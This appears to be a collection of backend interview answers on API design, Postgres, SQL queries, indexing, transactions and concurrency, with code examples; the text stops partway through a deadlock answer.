
Filtering and sorting go in the query string, and I whitelist which fields you can sort by, because those values end up in an ORDER BY.

For actions that don't map neatly to CRUD, like publishing a post, I either model it as a state change, PATCH /posts/42 { "status": "published" }, or as a sub-resource like POST /posts/42/publish. I'm fine with the second one when it's clearer. I'm pragmatic about REST purity.

So PUT replaces the whole resource with what you send, and PATCH applies a partial change. Idempotent means making the same request once or ten times leaves the server in the same state.

// current: { name: "Ana", email: "a@x.com", bio: "Hi" }

PUT   /users/7  { name: "Ana B", email: "a@x.com" }
// result: { name: "Ana B", email: "a@x.com" }   bio is gone

PATCH /users/7  { name: "Ana B" }
// result: { name: "Ana B", email: "a@x.com", bio: "Hi" }

GET, PUT and DELETE are idempotent by definition. POST isn't: send "create order" twice and you get two orders. PATCH can go either way: "set name" is idempotent, "increment balance by 10" isn't.

Why it matters in practice: networks retry. If a mobile client times out and retries, idempotent requests are safe. For a POST like a payment, I accept an Idempotency-Key header, store the result against that key, and return the stored result on a retry instead of charging twice. That's the same approach Stripe uses.

Interviewers look for: the retry angle and idempotency keys, not just the definition.

So for a feed I'd use cursor, also called keyset, pagination. Offset is fine for an admin table where people jump to page 7, but it gets slow and inconsistent on large, changing data.

-- offset: the DB still reads and discards 100,000 rows
SELECT * FROM posts ORDER BY created_at DESC, id DESC LIMIT 20 OFFSET 100000;

-- cursor: jumps straight there using the index
SELECT * FROM posts
WHERE (created_at, id) < ($1, $2)
ORDER BY created_at DESC, id DESC
LIMIT 20;

Two problems with offset. Performance: deep pages have to scan past every skipped row. Correctness: if a new post is inserted while you scroll, everything shifts by one and you see a duplicate at the page boundary. The cursor says "give me things after this exact item", so inserts don't affect it.

A couple of details I get right. The sort has to be unique, so I add id as a tie-breaker, and there's a composite index on (created_at, id). I also return the cursor as an opaque base64 token, so clients don't build them and I can change the format later.

The trade-off is that you lose "jump to page N" and a cheap total count, which a feed doesn't need anyway.

Interviewers look for: the duplicate/skip problem, the tie-breaker column, and the matching index.

So the first rule is to avoid needing new versions by only making additive changes. When a breaking change is truly needed, I put the version in the URL, like /api/v2, run both side by side, and deprecate the old one with a clear timeline.

Here's what I consider safe and unsafe:

In one project mobile apps were the hard constraint, because people don't update, so a v1 had to live for a year or more. We shipped v2 alongside it, sent Deprecation and Sunset headers on v1, and watched per-version traffic in our metrics before switching it off.

URL versioning isn't the purest option, headers are more "correct", but it's obvious in logs, easy to route at the gateway and easy to test with curl. I also generate an OpenAPI spec from the schemas and diff it in CI, so an accidental breaking change fails the build.

So it depends mostly on who the client is. Public or third-party clients, REST. Many different frontends that need different shapes of nested data, GraphQL. Service-to-service, gRPC. A TypeScript monorepo where I own both the frontend and the backend, tRPC.

Let me give you an example. In a previous product we had a web app, an iOS app and an Android app, and the product page needed a product, its variants, reviews and seller info. With REST it was either four round trips or a custom "product-page" endpoint per client. GraphQL fixed that nicely, and each client asked for exactly what it rendered.

But GraphQL came with costs we had to pay for:

• N+1 queries in resolvers, which we fixed with DataLoader for batching.
• HTTP caching is harder because everything is a POST to one URL, so we used persisted queries.
• Arbitrary queries can be expensive, so we needed depth and cost limits.

For internal services, gRPC gives you a strict protobuf contract, code generation and fast binary serialization, but browsers can't call it directly. And tRPC is great for speed in a Next.js monorepo, but it only works if every client is TypeScript.

Interviewers look for: matching the tool to the client, and naming GraphQL's real costs (N+1, caching, query cost).

So the limit has to be enforced in shared storage, usually Redis, because an in-memory counter per instance lets a client get N times the limit. And I key it by API key or user ID, falling back to IP for anonymous traffic.

// fixed window with Redis: simple and usually good enough
async function allow(key, limit = 100, windowSec = 60) {
  const bucket = `rl:${key}:${Math.floor(Date.now() / 1000 / windowSec)}`;
  const count = await redis.incr(bucket);
  if (count === 1) await redis.expire(bucket, windowSec);
  return count <= limit;
}

if (!(await allow(req.user?.id ?? req.ip))) {
  res.set("Retry-After", "60");
  return res.status(429).json({ code: "RATE_LIMITED" });
}

A fixed window has one weakness: a client can send 100 requests at 0:59 and another 100 at 1:00, so 200 in two seconds. If that matters, I use a sliding window or a token bucket, done as a Lua script so the check and the update are atomic.

A few practical things: behind a load balancer, req.ip is the balancer unless I configure trust proxy correctly. I return 429 with Retry-After and RateLimit headers so good clients can back off. And I usually do a coarse per-IP limit at the edge, like Cloudflare or the API gateway, plus finer per-plan limits in the app.

So I'd store the files in object storage like S3 or R2, not on the app server's disk and not in the database, and just save the object key in the user's row. For anything bigger than small images, I'd have the client upload directly to S3 with a presigned URL.

// 1. client asks for an upload URL
app.post("/uploads/avatar", auth, async (req, res) => {
  const { contentType, size } = UploadReq.parse(req.body);   // image/png|jpeg|webp, <= 5MB
  const key = `avatars/${req.user.id}/${crypto.randomUUID()}`;
  const url = await getSignedUrl(s3, new PutObjectCommand({
    Bucket: BUCKET, Key: key, ContentType: contentType, ContentLength: size,
  }), { expiresIn: 300 });
  res.json({ url, key });
});
// 2. client PUTs the file straight to S3
// 3. client calls PATCH /me { avatarKey: key }

The reason for this setup is that app servers are disposable, so local files vanish on deploy, and streaming big files through Node ties up memory and bandwidth for nothing. With presigned URLs, the bytes never touch my server.

Validation still matters: a random key instead of the user's filename, which avoids path traversal and collisions, a size limit, an allowed type list, and ideally a check of the magic bytes after upload, because an extension or a Content-Type is just a claim.

Interviewers look for: object storage, presigned URLs, and a validation list that goes beyond the file extension.

So the email provider is a slow, external dependency that sometimes fails, and the user shouldn't wait on it or see an error because of it. I put a job on a queue and return straight away.

// before: signup takes 1.5s, and fails if SendGrid is down
await userRepo.insert(user);
await mailer.sendWelcome(user.email);
res.status(201).json(...);

// after: fast and resilient
await userRepo.insert(user);
await emailQueue.add("welcome", { userId: user.id }, {
  attempts: 5, backoff: { type: "exponential", delay: 5000 },
});
res.status(201).json(...);

What happens now is a worker picks the job up, sends the email and retries with backoff if the provider has an outage. The signup itself never fails because of email.

Two more things I'd mention. There's a gap between the DB insert and the queue add, so if the process dies in between you lose the email. For critical messages I use an outbox table written in the same transaction, which a worker then drains. And deliverability is mostly DNS: SPF, DKIM and DMARC set up for the sending domain, and a provider like Resend or SES rather than running your own SMTP.

So for notifications, where the server pushes and the client just listens, I'd use Server-Sent Events. WebSockets are for when both sides send frequently, like chat or collaborative editing. Polling is the fallback when neither is possible.

// SSE in Express: just a long-lived HTTP response
app.get("/events", auth, (req, res) => {
  res.set({ "Content-Type": "text/event-stream", "Cache-Control": "no-cache" });
  res.flushHeaders();
  const send = (n) => res.write(`data: ${JSON.stringify(n)}\n\n`);
  bus.on(`user:${req.user.id}`, send);
  req.on("close", () => bus.off(`user:${req.user.id}`, send));
});

// browser
const es = new EventSource("/events");
es.onmessage = (e) => showToast(JSON.parse(e.data));

What I like about SSE is it's plain HTTP, so it goes through proxies, works with normal cookie auth, and the browser reconnects automatically. It's also how most AI apps stream tokens.

A WebSocket gives full duplex, but it's a separate protocol, so you handle reconnection, heartbeats and auth on the upgrade yourself, and some corporate proxies interfere with it.

The detail I always point out is the req.on("close") cleanup. Without it, every disconnected client leaves a listener behind, and that's a memory leak.

Interviewers look for: direction of data as the deciding factor, and cleanup on disconnect.

So there are really three things I do: verify the signature against the raw body, handle it idempotently because the provider will retry, and respond quickly by pushing the real work onto a queue.

// raw body: the signature is computed over the exact bytes
app.post("/webhooks/stripe", express.raw({ type: "application/json" }), async (req, res) => {
  let event;
  try {
    event = stripe.webhooks.constructEvent(req.body, req.headers["stripe-signature"], WHSEC);
  } catch {
    return res.status(400).send("bad signature");
  }
  const firstTime = await db.processedEvents.insertIfAbsent(event.id);  // unique index
  if (firstTime) await jobs.add("stripe-event", event);
  res.sendStatus(200);
});

One gotcha I've actually hit: if express.json() runs first, the body gets parsed and re-serialised, the bytes change, and the signature check fails every time. So the webhook route gets express.raw and has to be registered before the global JSON parser, or excluded from it.

Idempotency matters because webhooks are at-least-once. Stripe retries on any non-2xx or timeout, so the same event.id can arrive twice, and I don't want to fulfil an order twice. Events can also arrive out of order, so for state I usually re-fetch the object from the API rather than trusting the event payload.

So each WebSocket connection lives in the memory of one specific process. When user A on server 1 sends a message to a room, server 1 only broadcasts to the sockets it holds. User B, connected to server 3, never hears about it.

The fix is a shared pub/sub layer so the servers can talk to each other. With Socket.IO that's the Redis adapter:

import { createAdapter } from "@socket.io/redis-adapter";
const pub = createClient({ url: REDIS_URL });
const sub = pub.duplicate();
await Promise.all([pub.connect(), sub.connect()]);
io.adapter(createAdapter(pub, sub));

// unchanged app code, now reaches every instance
io.to(`room:${roomId}`).emit("message", msg);

What happens now is that emit publishes to Redis, every instance is subscribed, and each one delivers to its own local sockets in that room.

A few follow-ons I'd raise. If Socket.IO falls back to long polling, I need sticky sessions at the load balancer, or I force WebSocket-only transport. Redis pub/sub is fire-and-forget, so a client that's briefly disconnected misses messages. For chat I persist messages in the database and have the client fetch "everything since my last message ID" on reconnect, or I use Redis Streams. At a very large scale, teams often move to a managed service or a dedicated gateway layer.

Interviewers look for: spotting that connection state is per-process, plus the persistence and reconnect story.

So my default is PostgreSQL, and I move away from it only when the data or access pattern clearly asks for something else. Most business data is relational: users have orders, orders have items, items reference products. A relational database enforces that for you.

The reason I lean on Postgres is the guarantees: foreign keys, unique constraints and transactions across tables mean the database stops bad data even when the application has a bug. With Mongo, those rules live in application code, and schema drift creeps in quietly.

And Postgres covers a lot of "NoSQL" needs anyway. In one project we kept flexible product attributes in a JSONB column with a GIN index, and never needed a second database.

Interviewers look for: a default with reasons, and choosing based on data shape and access patterns, not hype.

So a pool keeps a fixed set of database connections open and lends them out to requests. That's because opening a connection is expensive: TCP, TLS, authentication, plus memory on the database server for each one, and in Postgres each connection is a whole OS process.

import pg from "pg";
export const pool = new pg.Pool({
  connectionString: env.DATABASE_URL,
  max: 10,                        // per instance
  idleTimeoutMillis: 30_000,
  connectionTimeoutMillis: 2_000, // fail fast instead of queueing forever
});

const { rows } = await pool.query("SELECT * FROM users WHERE id = $1", [id]);

What happens here is each query borrows a connection for a few milliseconds and gives it back, so ten connections can serve hundreds of concurrent requests. If all ten are busy, the next request waits briefly in the pool's queue rather than opening an eleventh.

If I opened a connection per request, I'd add tens of milliseconds of latency, and under load I'd hit Postgres's max_connections, which defaults to 100, and start getting "too many clients" errors.

So in practice I create the pool once at startup, in a module, and close it on shutdown.

So that's almost always pool size multiplied by the number of instances going past the database's connection limit. Every instance has its own pool, and they add up.

12 pods x pool max 20       = 240 connections
+ 4 worker pods x 20        =  80
+ migrations, cron, admin   =  ~10
                              -----
                              330   vs  max_connections = 100

I hit exactly this in a project where autoscaling added pods during a traffic spike. Each new pod made it worse, so the spike turned into an outage. And a bigger pool doesn't make things faster anyway: Postgres with 300 active connections on 8 cores just spends its time context-switching.

The fixes, roughly in the order I'd reach for them:

• Shrink the per-instance pool. 5 to 10 per instance is usually plenty, and I set it as a budget: total across all instances stays under the limit, with headroom.
• Put PgBouncer (or RDS Proxy) in transaction mode in front of Postgres, so thousands of client connections share a small number of real ones.
• For serverless, where every function instance has its own pool, a pooler or a serverless driver is basically mandatory.

One gotcha with PgBouncer in transaction mode: session-level features like SET, advisory locks held across transactions and some prepared statement setups don't behave as you'd expect.

Interviewers look for: the multiplication (instances times pool size) and knowing about an external pooler.

So OLTP is the application's workload: lots of small, fast reads and writes that touch a few rows by key. OLAP is analytics: a few huge queries that scan and aggregate millions of rows. They want very different storage, and mixing them on one database is a classic way to cause an outage.

-- OLTP: indexed, touches one row, ~1ms
SELECT * FROM orders WHERE id = 81723;

-- OLAP: full scan, heavy aggregation, can run for minutes
SELECT date_trunc('day', created_at), country, sum(total)
FROM orders JOIN users USING (user_id)
GROUP BY 1, 2;

In one project the finance team had a dashboard that ran queries like the second one directly on the production primary. Every Monday morning it saturated the CPU and I/O, and checkout latency went up tenfold. It looked like an application problem until we checked pg_stat_activity.

The fix was to move reporting to a read replica first, which was quick. Later we replicated the data into a columnar warehouse, since columnar stores only read the columns a query uses and compress them well, which is exactly what aggregations need.

So in practice I keep the primary for the app, and send anything analytical somewhere else.

So CAP says that when a distributed system has a network partition, it has to choose between consistency, which means refusing requests rather than returning stale data, and availability, which means answering anyway with possibly stale data. You can't have both during a partition. When there's no partition, you can have both, so it's really about what happens during failure.

The version I run into much more often day to day is replication lag, which is a form of eventual consistency. Let me give you an example.

await db.primary.query("UPDATE users SET name = $1 WHERE id = $2", [name, id]);
res.redirect("/profile");

// next request: reads go to a replica that's 200ms behind
const user = await db.replica.query("SELECT * FROM users WHERE id = $1", [id]);
// shows the OLD name, and the user thinks the save failed

What I do about it is "read your own writes": for a short window after a user writes, or for that user's own profile, I read from the primary, and I send everything else to replicas. Another option is to return the updated object from the write itself and have the client use that.

So the practical takeaway is to decide per feature. A bank balance or inventory count needs strong consistency, so I read from the primary and accept some latency. A like count or a feed can be a few seconds stale and nobody cares.

Interviewers look for: "the choice only applies during a partition," and a concrete replica-lag example with a fix.

So WHERE filters individual rows before they're grouped, and HAVING filters the groups after aggregation. If the condition involves SUM, COUNT or another aggregate, it has to go in HAVING.

Let me give you an example. Say I want customers who spent more than 10,000 in the last 30 days:

SELECT u.id, u.name, SUM(o.total) AS revenue
FROM users u
JOIN orders o ON o.user_id = u.id
WHERE o.created_at >= NOW() - INTERVAL '30 days'   -- row filter
GROUP BY u.id, u.name
HAVING SUM(o.total) > 10000;                         -- group filter

What happens here is the date check throws away old orders first, so the database groups fewer rows. Then HAVING drops the groups whose total is too small. I couldn't put SUM(o.total) > 10000 in WHERE, because at that stage the sum doesn't exist yet.

That's also why I can't use the revenue alias in WHERE. The logical order is FROM, JOIN, WHERE, GROUP BY, HAVING, SELECT, ORDER BY, LIMIT, so aliases are only born at SELECT. ORDER BY revenue works because it runs after.

So in practice I push every filter I can into WHERE. It's cheaper and it can use indexes.

Interviewers look for: the logical execution order, and knowing that filtering early in WHERE is also a performance choice.

So an INNER JOIN gives me only the rows that match on both sides. A LEFT JOIN keeps every row from the left table and fills in NULL where there's no match. RIGHT is the mirror image, FULL keeps both sides, and CROSS is every combination.

Let me give you an example. I reach for a LEFT JOIN whenever "zero" is a valid answer, like "list all users with their order count, including users who never ordered":

SELECT u.name, COUNT(o.id) AS orders
FROM users u
LEFT JOIN orders o ON o.user_id = u.id
GROUP BY u.id, u.name;
-- Asha 2, Ben 1, Chen 0

With an INNER JOIN, Chen would just vanish from the report, and that's a very quiet bug. Nobody notices a missing row.

One detail worth pointing out: I count o.id, not *. For Chen, the LEFT JOIN produces one row with all the order columns NULL. COUNT(*) counts that row and says 1. COUNT(o.id) skips NULLs and correctly says 0.

A self join is the other one that comes up, like joining employees to itself to get each person's manager.

Interviewers look for: the COUNT(*) vs COUNT(column) detail. It shows you've actually written reporting queries.

So almost certainly there's a condition on the right-hand table in the WHERE clause. That silently turns the LEFT JOIN back into an INNER JOIN.

Let me show you:

-- Broken: Chen disappears
SELECT u.name, o.id
FROM users u
LEFT JOIN orders o ON o.user_id = u.id
WHERE o.status = 'paid';

-- Fixed: the filter belongs to the join
SELECT u.name, o.id
FROM users u
LEFT JOIN orders o ON o.user_id = u.id AND o.status = 'paid';

What happens in the first query is the LEFT JOIN does its job and gives Chen a row with o.status = NULL. Then WHERE runs, and NULL = 'paid' isn't true, so the row is thrown out. Moving the condition into ON means "only join paid orders", and unmatched users still survive with NULLs.

The related gotcha I've hit is NOT IN with a subquery that can return NULL:

SELECT name FROM users
WHERE id NOT IN (SELECT user_id FROM orders);   -- returns nothing if any user_id is NULL

SELECT name FROM users u
WHERE NOT EXISTS (SELECT 1 FROM orders o WHERE o.user_id = u.id);   -- correct

Because of three-valued logic, x NOT IN (1, NULL) is never true. So in practice I default to NOT EXISTS for anti-joins.

So normalization is structuring tables so each fact is stored in exactly one place. That way an update happens once and can't leave copies disagreeing. In practice "get to third normal form" means no repeating groups, no columns depending on just part of a composite key, and no non-key column depending on another non-key column.

Let me give you an example. If orders stores customer_email and the customer changes their email, I now have to update every order row, and if one update fails the data disagrees. That's an update anomaly. The normalized version stores user_id and joins to users.

But I denormalize on purpose in two situations:

• Read-heavy counters. In my last project, a feed showed comment counts on every post. Running COUNT(*) per post on every page load was expensive, so we kept a comment_count column and updated it in the same transaction as the insert.
• Snapshots. An order line stores price_at_purchase. That isn't really duplication. The product price changing later must not change old invoices.

The trade-off is that I now own keeping the copies in sync, with a transaction, a trigger, or a background job. So in practice I start normalized and only denormalize a specific thing once I've measured a read problem.

Interviewers look for: the snapshot example. It shows you know some "duplication" is actually correct modelling.

So with OFFSET 100000, the database still has to read and throw away those 100,000 rows before it returns the page. Deep pages get linearly slower. On top of that, if rows are inserted while someone is paging, they see duplicates or skip items.

The alternative is keyset pagination, also called cursor pagination. I remember where the last page ended and ask for rows after it:

-- Page 1
SELECT id, created_at, title FROM posts
ORDER BY created_at DESC, id DESC
LIMIT 20;

-- Next page: pass the last row's (created_at, id) as the cursor
SELECT id, created_at, title FROM posts
WHERE (created_at, id) < ($1, $2)
ORDER BY created_at DESC, id DESC
LIMIT 20;

With an index on (created_at DESC, id DESC), the database jumps straight to the cursor position, so page 5,000 is as fast as page 1. I include id as a tie-breaker because two posts can share a timestamp, and without it I'd lose rows at page boundaries.

The trade-off is you can't jump to "page 37". So in practice I use offset for small admin tables with page numbers, and cursors for feeds, infinite scroll and public APIs. The API returns an opaque nextCursor string, usually base64 of those two values.

So this is the "top N per group" problem, and the cleanest tool is a window function. GROUP BY collapses rows, but I want the whole order row, so I rank within each user instead.

WITH ranked AS (
  SELECT o.*,
         ROW_NUMBER() OVER (PARTITION BY user_id
                            ORDER BY created_at DESC) AS rn
  FROM orders o
)
SELECT * FROM ranked WHERE rn = 1;

What happens here is PARTITION BY user_id restarts the numbering for each user, and within that partition the newest order gets 1. The CTE is there because I can't filter on a window function in WHERE. Window functions are computed at the SELECT stage, after WHERE has already run. Changing rn = 1 to rn <= 3 gives the last three orders.

In Postgres specifically there's also a shortcut:

SELECT DISTINCT ON (user_id) *
FROM orders
ORDER BY user_id, created_at DESC;

And if I only need it for one page of users, a LATERAL join with LIMIT 1 per user can be fastest with an index on (user_id, created_at DESC).

I'd also mention ROW_NUMBER vs RANK: if two orders tie on timestamp, ROW_NUMBER picks one arbitrarily, and RANK gives both a 1. So I add id to the ORDER BY to make it deterministic.

Interviewers look for: a window function rather than a correlated subquery per row, and awareness of ties.

So my answer is: data integrity rules go in the database, and the application validates too, but for a different reason. The app validates to give users nice error messages. The database enforces so the data stays correct no matter who writes to it.

Let me give you a scenario from a real project. We checked "email must be unique" in the signup handler: look up the email, and insert if it's not found. Under load, two signups with the same email arrived within milliseconds. Both lookups found nothing, both inserted, and we had duplicate accounts. The fix was a constraint:

ALTER TABLE users ADD CONSTRAINT users_email_key UNIQUE (email);
ALTER TABLE products ADD CONSTRAINT price_non_negative CHECK (price >= 0);

-- and the app treats the violation as a normal outcome
INSERT INTO users (email, name) VALUES ($1, $2)
ON CONFLICT (email) DO NOTHING
RETURNING id;

An application check followed by a write is always a race. A unique constraint is atomic. The database also protects me from the migration script, the admin tool, or the second service that skips my validation layer.

What I keep out of the database is logic that changes often or needs external context, like pricing rules or "can this user publish". Heavy triggers make behaviour invisible when you read the code.

So in practice: NOT NULL, UNIQUE, foreign keys and simple CHECKs always live in the schema. Workflow rules live in the service layer.

So an index is a separate, sorted data structure the database keeps next to the table, usually a B-tree. It maps column values to where the rows live. Without one, finding WHERE email = 'x' means a sequential scan of every row. With one, the database walks down a few levels of the tree.

Let me give you some numbers. A B-tree is balanced and very wide, so even 10 million rows is only three or four levels deep. That's a handful of page reads instead of millions. And because the leaf nodes are linked in sorted order, the same index also speeds up range queries and ORDER BY:

CREATE INDEX idx_users_email ON users (email);

SELECT * FROM users WHERE email = 'a@x.com';            -- equality: fast
SELECT * FROM orders WHERE created_at > '2026-01-01';   -- range: fast (if indexed)
SELECT * FROM orders ORDER BY created_at DESC LIMIT 10; -- avoids a sort

The catch is that indexes aren't free. Every INSERT, UPDATE and DELETE has to update every index on that table, and they take disk and memory. So it's faster reads for slower writes.

So in practice I index the columns I filter, join and sort on. Foreign keys especially, because Postgres doesn't index those automatically.

Interviewers look for: the write-cost trade-off. Saying "just add indexes" without it is a red flag.

So N+1 is when I load a list with one query and then run one more query per item inside a loop. A hundred posts become 101 round trips to the database.

// 1 + N queries
const posts = await prisma.post.findMany();
for (const p of posts) {
  p.author = await prisma.user.findUnique({ where: { id: p.authorId } });
}

// 2 queries: the ORM batches it with an IN (...)
const posts = await prisma.post.findMany({ include: { author: true } });

What makes it nasty is that it works fine in development with ten rows. Each query is fast, maybe 2 ms, so nothing looks wrong. In production, a page with 500 items makes 500 round trips, and the network latency adds up to a second.

There are really three fixes: a SQL JOIN, eager loading through the ORM (include, populate), or batching it myself by collecting the IDs, doing one WHERE id IN (...), and mapping the results back. In GraphQL the standard answer is DataLoader, which does that batching per request.

How I catch it: I turn on query logging in development. In my last project, one endpoint was logging over 300 queries per request, and that told us exactly where to look.

So a composite index sorts by the first column, then by the second within each first value, like a phone book sorted by last name and then first name. Column order matters a lot because of the leftmost prefix rule.

CREATE INDEX idx_orders_user_created ON orders (user_id, created_at DESC);

-- Uses the index well
WHERE user_id = 42
WHERE user_id = 42 AND created_at > '2026-01-01'
WHERE user_id = 42 ORDER BY created_at DESC LIMIT 10   -- no sort step at all

-- Can't use it efficiently
WHERE created_at > '2026-01-01'   -- skips the leading column

Like a phone book, I can find everyone named "Sharma" fast, but I can't find everyone named "Priya" without reading the whole thing.

The rule I follow for ordering is: equality columns first, then the sort column, then range columns. The query "a user's latest orders" is the perfect fit. The index hands back rows already in order, so LIMIT 10 reads exactly ten entries.

One nuance for seniors: newer engines soften the rule. MySQL 8 and Postgres 18 can do a skip scan when the leading column has few distinct values. I still design as if the rule holds, though, because it's only a win for low-cardinality leading columns.

Interviewers look for: the leftmost prefix rule, and an ordering heuristic (equality, sort, range) rather than guessing.

So there are a few usual suspects, and I'd confirm with EXPLAIN ANALYZE rather than guess.

• A function on the column. WHERE LOWER(email) = $1 can't use an index on email. I either create an expression index on LOWER(email) or store the value normalized.
• A leading wildcard. LIKE '%phone' can't use a B-tree, because the sort order is by the start of the string. That needs a trigram index or full-text search.
• Low selectivity. If the query matches 40% of the table, like status = 'active', reading the whole table sequentially is genuinely cheaper than jumping around, so the planner is right.
• Type mismatch. Comparing a text column to a number can force a cast on every row.
• Stale statistics. After a big bulk load, the planner's row estimates are wrong. Running ANALYZE fixes it.
• Small table. On a few hundred rows a seq scan is fastest anyway.

EXPLAIN ANALYZE SELECT * FROM users WHERE LOWER(email) = 'a@x.com';
-- Seq Scan on users ... rows=1 ... actual time=0.02..84.1

CREATE INDEX idx_users_email_lower ON users (LOWER(email));
-- Index Scan using idx_users_email_lower ... actual time=0.03..0.04

When I read the plan, I compare estimated rows against actual rows. A big gap between them means the planner was working from bad statistics.

So a covering index contains every column the query needs, so the database answers from the index alone and never visits the table. In Postgres that shows up as an "Index Only Scan". A partial index only indexes the rows matching a condition, so it's smaller and cheaper to maintain.

Let me give you an example of each:

-- Covering: the dashboard only needs status and total for a user
CREATE INDEX idx_orders_user_cover
  ON orders (user_id) INCLUDE (status, total);

SELECT status, total FROM orders WHERE user_id = 42;   -- index-only

-- Partial: 98% of jobs are 'done'; we only ever query pending ones
CREATE INDEX idx_jobs_pending
  ON jobs (run_at) WHERE status = 'pending';

The partial one is a trick I've used on a job queue table. It had millions of finished rows and a few hundred pending ones. The full index was huge, but the partial index stayed tiny and fast. It's also the standard way to do "unique among active rows", like one active subscription per user: a unique index with WHERE cancelled_at IS NULL.

The trade-off with covering indexes is size. Every column I INCLUDE makes the index bigger and every write more expensive, so I only do it for a hot query I've measured.

So first I'd confirm it's actually the database and not something around it. Then I'd find the specific query and read its plan.

• Measure where the time goes. I check the trace or APM span for that endpoint. If 3.8 of the 4 seconds is in one SQL span, it's the database. If it's 200 small spans, it's an N+1 that grew with the data.
• Get the query and its plan. pg_stat_statements shows the top queries by total time. Then I run EXPLAIN (ANALYZE, BUFFERS) on the slow one with realistic parameters.
• Read the plan for the usual causes. A seq scan on a table that grew from 50k to 5M rows, a sort spilling to disk, or estimates wildly off from actuals.
• Check the environment. Lock waits from a long-running transaction, connection pool exhaustion (requests queuing for a connection, not running), or table bloat if autovacuum is falling behind.

SELECT query, calls, mean_exec_time, total_exec_time
FROM pg_stat_statements
ORDER BY total_exec_time DESC
LIMIT 10;

In my last project this exact thing happened. A "recent activity" query filtered on account_id and sorted by created_at, but only account_id was indexed. That was fine when accounts had a few hundred events. Once one big customer had two million, Postgres was fetching all of them and sorting. A composite index on (account_id, created_at DESC) brought it to 15 ms.

And I'd build that index with CREATE INDEX CONCURRENTLY, so I don't lock writes on a production table while fixing it.

Interviewers look for: a method (measure, isolate, explain, fix, verify), not jumping straight to "add an index" or "add caching".

So a transaction is a group of statements that succeed or fail as one unit. The textbook case is a money transfer: the debit and the credit must both happen or neither does.

BEGIN;
  UPDATE accounts SET balance = balance - 500 WHERE id = 1;
  UPDATE accounts SET balance = balance + 500 WHERE id = 2;
COMMIT;   -- any error in between: ROLLBACK, and neither change exists

ACID is the set of guarantees:

• Atomicity is all or nothing. If the server crashes after the first update, the debit is undone.
• Consistency means the constraints hold before and after. If the debit would violate CHECK (balance >= 0), the whole thing fails.
• Isolation means concurrent transactions don't see each other's half-finished work. How strictly depends on the isolation level.
• Durability means once COMMIT returns, it survives a crash, because it was written to the write-ahead log first.

In a real app I use transactions any time one business action touches more than one row or table: creating an order plus its line items plus decrementing stock, for example. Otherwise a failure halfway leaves an order with no items.

Interviewers look for: a concrete multi-table example from your own code, not just the acronym.

So the key point is that a transaction lives on one connection. I have to check out a single client from the pool and run every statement on it.

async function transfer(from, to, amount) {
  const client = await pool.connect();
  try {
    await client.query("BEGIN");
    await client.query(
      "UPDATE accounts SET balance = balance - $1 WHERE id = $2", [amount, from]);
    await client.query(
      "UPDATE accounts SET balance = balance + $1 WHERE id = $2", [amount, to]);
    await client.query("COMMIT");
  } catch (err) {
    await client.query("ROLLBACK");
    throw err;
  } finally {
    client.release();   // always give the connection back
  }
}

The mistake I've seen is calling pool.query("BEGIN") and then pool.query(...) for each statement. Each call can go to a different connection, so the BEGIN and the updates aren't in the same transaction at all. It looks right and silently isn't.

The second mistake is forgetting release() in finally. After enough errors the pool is empty and every request hangs waiting for a connection.

With an ORM it's cleaner. In Prisma I use prisma.$transaction(async (tx) => { ... }), and the important thing there is to use tx, not prisma, inside the callback.

So that's a lost update. The code read the stock, checked it in JavaScript, and then wrote it, as separate steps. Both requests read stock = 1 before either wrote, both passed the check, and one item got sold twice. Wrapping it in a transaction at the default Read Committed level doesn't fix it either.

// Buggy: check-then-act
const { stock } = await db.one("SELECT stock FROM products WHERE id = $1", [id]);
if (stock < 1) throw new Error("Sold out");
await db.none("UPDATE products SET stock = $1 WHERE id = $2", [stock - 1, id]);

There are really three fixes, and I pick based on the situation:

-- 1. Atomic conditional update: my default
UPDATE products SET stock = stock - 1
WHERE id = $1 AND stock > 0
RETURNING stock;          -- zero rows back means sold out

-- 2. Pessimistic lock, when I need several reads before deciding
BEGIN;
SELECT stock FROM products WHERE id = $1 FOR UPDATE;   -- others wait here
-- ... checks ...
UPDATE products SET stock = stock - 1 WHERE id = $1;
COMMIT;

The third is optimistic locking with a version column, which I'll use when conflicts are rare.

What makes option 1 work is that the check moves into the write, and the database evaluates it atomically while holding the row lock. The second request re-checks stock > 0 against the updated value, gets zero rows, and I return a 409.

Interviewers look for: recognising check-then-act as the bug, and knowing that a transaction alone doesn't prevent it.

So pessimistic locking assumes conflict: I lock the row up front with SELECT ... FOR UPDATE, and anyone else wanting it waits. Optimistic locking assumes conflict is rare: I don't lock anything, but I detect at write time whether someone changed the row since I read it.

Let me give you the optimistic version, which I used for a document editor:

-- read: the client gets { title, body, version: 7 }

UPDATE documents
SET body = $1, version = version + 1
WHERE id = $2 AND version = 7;
-- 1 row updated  → saved, now version 8
-- 0 rows updated → someone saved first → respond 409 Conflict

Two people opened the same doc. The first save bumps the version to 8. The second save still says version = 7, matches nothing, and the UI tells them "this changed since you opened it, reload". Without that, the second save would silently overwrite the first person's work.

The reason I picked optimistic there is that the "transaction" spans minutes of a human typing. Holding a database lock that long is impossible. Pessimistic fits short, high-contention server-side operations, like decrementing a hot counter where retries would be constant.

So in practice: optimistic for user edits and low contention, pessimistic or atomic updates for hot rows. HTTP has the same idea built in with ETag and If-Match, returning 412 on a mismatch.

So isolation levels trade correctness against concurrency. Each step up prevents another kind of anomaly, and costs more locking or more retries.

A dirty read is seeing another transaction's uncommitted data. A non-repeatable read is reading the same row twice in one transaction and getting different values. A phantom is re-running a range query and getting new rows.

Let me give you the example that makes Serializable worth knowing: write skew. The rule is "at least one doctor must be on call". Two doctors each check "are there 2 on call?", both see yes, and both go off call in separate transactions. Neither wrote the row the other read, so Repeatable Read doesn't catch it. Serializable does, and aborts one of them.

One nuance: Postgres's Repeatable Read is snapshot isolation, so it actually prevents phantoms too, which is stricter than the standard requires. Under Repeatable Read and Serializable, Postgres will throw serialization failures (40001), and my code has to catch those and retry the whole transaction.

So in practice I stay on Read Committed and fix specific races with atomic updates or row locks. I only raise the level for a specific transaction that needs it.

Interviewers look for: knowing the defaults, and that higher isolation means you must handle retries.

So a deadlock is two transactions each holding a lock the other one needs. Neither can proceed. The database detects the cycle, usually within a second, and kills one of them with an error.

-- Transaction A (transfer 1 → 2)     -- Transaction B (transfer 2 → 1)
UPDATE accounts ... WHERE id = 1;     UPDATE accounts ... WHERE id = 2;
UPDATE accounts ... WHERE id = 2;     UPDATE accounts ... WHERE id = 1;
-- waits for B                        -- waits for A → deadlock

The main prevention is to always lock resources in a consistent order. For transfers, I update the lower account ID first no matter which direction the money goes:

const [first, second] = [fromId, toId].sort((a, b) => a - b);
// lock/update `first`, then `second`

Beyond that, the things I check are:

